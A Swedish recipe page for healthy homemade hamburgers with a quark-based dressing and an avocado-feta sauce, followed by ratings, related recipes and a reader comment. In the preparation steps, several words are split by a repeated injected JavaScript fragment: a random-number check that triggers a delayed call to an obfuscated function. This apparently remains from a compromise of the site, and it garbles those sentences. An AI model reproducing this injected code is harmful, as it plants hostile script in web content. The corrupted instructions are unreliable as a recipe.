Hemmagjorda hamburgare med nyttig hamburgerdressig och avokado/fetaostsås

2013-07-04
f12c6d94e4c611e296a022000ae913db_7ffa52372e4e711e28a6422000a9e08ee_7
  • Yield : 10 hamburgare
  • Servings : 4
  • Prep Time : 15m
  • Cook Time : 15m
  • Ready In : 30m

Nyttigt kan vara precis lika gott som onyttigt. Man behöver inte ge upp sin favoriträtt bara för att det inte “passar in” i den hälsosamma ramen – ändra bara om litegrann. Nyttigt, men smakar precis lika gott som en burgare på Mcdonalds, enda skillnaden är att denna burgare gör gott för kroppen.

Ingredienser

  • 800g nötfärs, max 10%fett 
  • 1dl havregryn
  • 1dl mjölk
  • 1 ägg
  • 1dl kvarg
  • 40g inlagd smörgåsgurka
  • 1tsk sambal oelek
  • 1msk steviasötad ketchup
  • 50g fetaost
  • 1 avokado
  • valfria grönsaker

Gör så här:

Blandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a havregryn och mjölk, låt svälla.

Börja med såserna. Blandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a kvarg med sambal oelek (har ni inte detta kan ni byta ut det mot chilipulver), 40g finhackad smörgåsgurka, 1msk steviasötad ketchup, 1/2kryddmått salt, 1kryddmått vitpeppar.
Mosa avokadon, smula fetaosten och rör ihop. Tillsätt eventuellt lite citronsaft (främst för att röran inte ska bli ful).
Ställ in båda såserna i kylen och låt smakerna sätta sig.

Lägg nötfärsen i en bunke (jag använde oxfärs), tillsätt havregrynsblandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ningen som nu har svällt till sig och krydda efter smak med salt och peppar. Blandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a väl och knäck sedan i ett ägg.

Forma 10 burgare och stek på medelhög värme.

Ät burgarna med kniv och gaffel med såser och sallad, eller kanske som jag, med hamburgerbröd gjort på havre och dinkel?
(Finns att köpa i affären) Smaklig spis!

Recipe Type: Ingredienser:
Medlemsbetyg

(4.5 / 5)

4.5 5 11
Betygsätt recept

11 people rated this recipe

Related Recipes:
  • Nutellapannkakor

    Nutellapannkakor

  • Avokado & äggmacka

    Avokado & äggmacka

  • Vitchoklad & hallonpudding

    Vitchoklad & hallonpudding

  • _SAM0279

    Kycklinglever stekt i svartvitlök

  • _SAM0095

    Kyckling med avokado, linsgrodd och spenatsallad.

Recipe Comments

  1. posted by Henrik Grunden on 19/07/2013

    Vi på Deffrecept tackar ödmjukast!

      Reply

Post A Comment

Current ye@r *